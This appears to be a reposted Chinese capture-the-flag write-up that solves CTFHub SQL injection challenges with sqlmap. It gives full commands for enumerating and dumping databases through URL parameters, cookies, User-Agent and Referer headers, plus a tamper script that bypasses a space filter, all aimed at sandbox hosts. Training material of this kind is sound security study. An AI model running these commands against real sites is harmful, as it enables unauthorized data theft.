CTFHub——技能树——SQL注入(sqlmap)
Posted sparename
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub——技能树——SQL注入(sqlmap)相关的知识,希望对你有一定的参考价值。
整数型注入
sqlmap简介
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入
检测注入
基本格式
sqlmap -u “http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1”
实战解题
- 查当前数据库
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" --current-db
得到当前数据库为:sqli
- 查数据表
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
得数据表是flag,news
3. 查具体数据
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
得flag
字符型注入
由于sqlmap基于这5个基本注入,故同上
执行如下命令
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
报错注入
同上,猜测数据在原来数据库的位置
于是直接输入以下命令
sqlmap -u "http://challenge-be2365d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
zh
布尔盲注
同上
sqlmap -u "http://challenge-7f3465d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
时间盲注
同上
sqlmap -u "http://challenge-bf267x5d95f0e1188.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump
mysql结构
本题同样使用如上命令,唯一区别在于flag位于的数据表发生变化
按第一步步骤重新来一遍
Cookie注入
打开burp抓包,拿到cookie值
注入,此次为cookie注入,cookie注入时需要设置level至少为2,不然无法成功注入
- 查数据库
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db (sqli)
- 查表
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --tables --batch
得表名
- 查具体数据
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --dump --batch
得flag
UA注入
burp抓包得到的数据放进a.txt
格式:
sqlmap -r “a.txt” -p “User-Agent” –dbms mysql -p指定User-Agent参数指定username参数,-dbms指定了数据库
注入命令
sqlmap -r "a.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "a.txt" -level 3 -D sqli --tables --batch
sqlmap -r "a.txt" -level 3 -D sqli --dump --batch
sqlmap -r "a.txt" -level 3 -dbs
必须加 * 号否则没有注入点,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
Refer注入
burp抓包得到的数据发现没有Refer请求头,添加Refer请求头放进b.txt
注入命令
sqlmap -r "b.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "b.txt" -level 3 -D sqli --tables --batch
sqlmap -r "b.txt" -level 3 -D sqli --dump --batch
过滤空格
这里需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令
sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" --current-db --tamper=space2comment.py
sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump --tamper=space2comment.py --batch
--tamper=space2plus.py
以上是关于CTFHub——技能树——SQL注入(sqlmap)的主要内容,如果未能解决你的问题,请参考以下文章